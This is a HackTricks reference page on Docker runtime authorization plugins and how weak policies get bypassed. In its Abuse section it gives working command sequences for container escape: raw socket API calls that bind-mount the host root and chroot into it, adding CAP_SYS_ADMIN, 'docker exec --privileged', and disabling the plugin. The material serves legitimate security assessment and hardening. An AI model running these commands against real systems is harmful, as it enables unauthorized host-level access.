authorization-plugins.md (8534B)
1 --- 2 title: "Runtime Authorization Plugins" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/authorization-plugins.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/authorization-plugins.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Runtime Authorization Plugins 14 15 ## Overview 16 17 Runtime authorization plugins are an extra policy layer that decides whether a caller may perform a given daemon action. Docker is the classic example. By default, anyone who can talk to the Docker daemon effectively has broad control over it. Authorization plugins try to narrow that model by examining the authenticated user and the requested API operation, then allowing or denying the request according to policy. 18 19 This topic deserves its own page because it changes the exploitation model when an attacker already has access to a Docker API or to a user in the `docker` group. In such environments the question is no longer only "can I reach the daemon?" but also "is the daemon fenced by an authorization layer, and if so, can that layer be bypassed through unhandled endpoints, weak JSON parsing, or plugin-management permissions?" 20 21 ## Operation 22 23 When a request reaches the Docker daemon, the authorization subsystem can pass the request context to one or more installed plugins. The plugin sees the authenticated user identity, the request details, selected headers, and parts of the request or response body when the content type is suitable. Multiple plugins can be chained, and access is granted only if all plugins allow the request. 24 25 This model sounds strong, but its safety depends entirely on how completely the policy author understood the API. A plugin that blocks `docker run --privileged` but ignores `docker exec`, misses alternate JSON keys such as top-level `Binds`, or allows plugin administration may create a false sense of restriction while still leaving direct privilege-escalation paths open. 26 27 ## Common Plugin Targets 28 29 Important areas for policy review are: 30 31 - container creation endpoints 32 - `HostConfig` fields such as `Binds`, `Mounts`, `Privileged`, `CapAdd`, `PidMode`, and namespace-sharing options 33 - `docker exec` behavior 34 - plugin management endpoints 35 - any endpoint that can indirectly trigger runtime actions outside the intended policy model 36 37 Historically, examples such as Twistlock's `authz` plugin and simple educational plugins such as `authobot` made this model easy to study because their policy files and code paths showed how endpoint-to-action mapping was actually implemented. For assessment work, the important lesson is that the policy author must understand the full API surface rather than only the most visible CLI commands. 38 39 ## Abuse 40 41 The first goal is to learn what is actually blocked. If the daemon denies an action, the error often leaks the plugin name, which helps identify the control in use: 42 43 ```bash 44 docker ps 45 docker run --rm -it --privileged ubuntu:24.04 bash 46 docker plugin ls 47 ``` 48 49 If you need broader endpoint profiling, tools such as `docker_auth_profiler` are useful because they automate the otherwise repetitive task of checking which API routes and JSON structures are really permitted by the plugin. 50 51 If the environment uses a custom plugin and you can interact with the API, enumerate which object fields are really filtered: 52 53 ```bash 54 docker version 55 docker inspect <container> 2>/dev/null | head 56 curl --unix-socket /var/run/docker.sock http:/version 57 curl --unix-socket /var/run/docker.sock http:/v1.41/containers/json 58 ``` 59 60 These checks matter because many authorization failures are field-specific rather than concept-specific. A plugin may reject a CLI pattern without fully blocking the equivalent API structure. 61 62 ### Full Example: `docker exec` Adds Privilege After Container Creation 63 64 A policy that blocks privileged container creation but allows unconfined container creation plus `docker exec` may still be bypassed: 65 66 ```bash 67 docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:24.04 sleep infinity 68 docker ps 69 docker exec -it --privileged <container_id> bash 70 ``` 71 72 If the daemon accepts the second step, the user has recovered a privileged interactive process inside a container the policy author believed was constrained. 73 74 ### Full Example: Bind Mount Through Raw API 75 76 Some broken policies inspect only one JSON shape. If the root filesystem bind mount is not blocked consistently, the host can still be mounted: 77 78 ```bash 79 docker version 80 curl --unix-socket /var/run/docker.sock \ 81 -H "Content-Type: application/json" \ 82 -d '{"Image":"ubuntu:24.04","Binds":["/:/host"]}' \ 83 http:/v1.41/containers/create 84 docker start <container_id> 85 docker exec -it <container_id> chroot /host /bin/bash 86 ``` 87 88 The same idea may also appear under `HostConfig`: 89 90 ```bash 91 curl --unix-socket /var/run/docker.sock \ 92 -H "Content-Type: application/json" \ 93 -d '{"Image":"ubuntu:24.04","HostConfig":{"Binds":["/:/host"]}}' \ 94 http:/v1.41/containers/create 95 ``` 96 97 The impact is a full host filesystem escape. The interesting detail is that the bypass comes from incomplete policy coverage rather than from a kernel bug. 98 99 ### Full Example: Unchecked Capability Attribute 100 101 If the policy forgets to filter a capability-related attribute, the attacker may create a container that regains a dangerous capability: 102 103 ```bash 104 curl --unix-socket /var/run/docker.sock \ 105 -H "Content-Type: application/json" \ 106 -d '{"Image":"ubuntu:24.04","HostConfig":{"CapAdd":["SYS_ADMIN"]}}' \ 107 http:/v1.41/containers/create 108 docker start <container_id> 109 docker exec -it <container_id> bash 110 capsh --print 111 ``` 112 113 Once `CAP_SYS_ADMIN` or a similarly strong capability is present, many breakout techniques described in [capabilities.md](/hacktricks/linux-hardening/containers-namespaces/container-security/protections/capabilities) and [privileged-containers.md](/hacktricks/linux-hardening/containers-namespaces/container-security/privileged-containers) become reachable. 114 115 ### Full Example: Disabling The Plugin 116 117 If plugin-management operations are allowed, the cleanest bypass may be to turn the control off entirely: 118 119 ```bash 120 docker plugin ls 121 docker plugin disable <plugin_name> 122 docker run --rm -it --privileged -v /:/host ubuntu:24.04 chroot /host /bin/bash 123 docker plugin enable <plugin_name> 124 ``` 125 126 This is a policy failure at the control-plane level. The authorization layer exists, but the user it was supposed to restrict still retains permission to disable it. 127 128 ## Checks 129 130 These commands are aimed at identifying whether a policy layer exists and whether it seems to be complete or superficial. 131 132 ```bash 133 docker plugin ls 134 docker info 2>/dev/null | grep -i authorization 135 docker run --rm -it --privileged ubuntu:24.04 bash 136 curl --unix-socket /var/run/docker.sock http:/v1.41/plugins 2>/dev/null 137 ``` 138 139 What is interesting here: 140 141 - Denial messages that include a plugin name confirm an authorization layer and often reveal the exact implementation. 142 - A plugin list visible to the attacker may be enough to discover whether disable or reconfigure operations are possible. 143 - A policy that blocks only obvious CLI actions but not raw API requests should be treated as bypassable until proven otherwise. 144 145 ## Runtime Defaults 146 147 | Runtime / platform | Default state | Default behavior | Common manual weakening | 148 | --- | --- | --- | --- | 149 | Docker Engine | Not enabled by default | Daemon access is effectively all-or-nothing unless an authorization plugin is configured | incomplete plugin policy, blacklists instead of allowlists, allowing plugin management, field-level blind spots | 150 | Podman | Not a common direct equivalent | Podman typically relies more on Unix permissions, rootless execution, and API exposure decisions than on Docker-style authz plugins | exposing a rootful Podman API broadly, weak socket permissions | 151 | containerd / CRI-O | Different control model | These runtimes usually rely on socket permissions, node trust boundaries, and higher-layer orchestrator controls rather than Docker authz plugins | mounting the socket into workloads, weak node-local trust assumptions | 152 | Kubernetes | Uses authn/authz at the API-server and kubelet layers, not Docker authz plugins | Cluster RBAC and admission controls are the main policy layer | overbroad RBAC, weak admission policy, exposing kubelet or runtime APIs directly |